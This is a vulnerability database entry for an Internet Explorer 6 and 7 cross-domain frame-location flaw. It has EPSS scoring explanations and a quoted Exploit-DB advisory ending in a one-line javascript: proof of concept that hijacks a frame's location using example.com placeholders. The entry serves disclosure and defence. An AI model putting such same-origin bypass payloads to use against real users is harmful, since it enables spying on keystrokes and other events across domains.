CVE Descriptions

Cross-domain vulnerability in Microsoft Internet Explorer 6 and 7 allows remote attackers to change the location property of a frame via the String data type, and use a frame from a different domain to observe domain-independent events, as demonstrated by observing onkeydown events with caballero-listener. NOTE: according to Microsoft, this is a duplicate of CVE-2008-2947, possibly a different attack vector.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 31996

EDB Verified : Yes

source: https://www.securityfocus.com/bid/29986/info Microsoft Internet Explorer is prone to a cross-domain scripting security-bypass vulnerability because the application fails to properly enforce the same-origin policy. An attacker can exploit this issue to change the location of a frame from a different domain. This allows the attacker to execute arbitrary code in a frame of the same window as content from a different domain. Successful exploits will allow the attacker to access information from the parent document via DOM components that are not domain-reliant (such as the 'onmousedown' event). Internet Explorer 6, 7, and 8 Beta 1 are vulnerable; other versions may also be affected. javascript:x=open('http://example.com/');setInterval(function(){try{x.frames[0].location={toString:function(){return .http://www.example2.com/somescript.html.;}}}catch(e){}},5000);void(1);
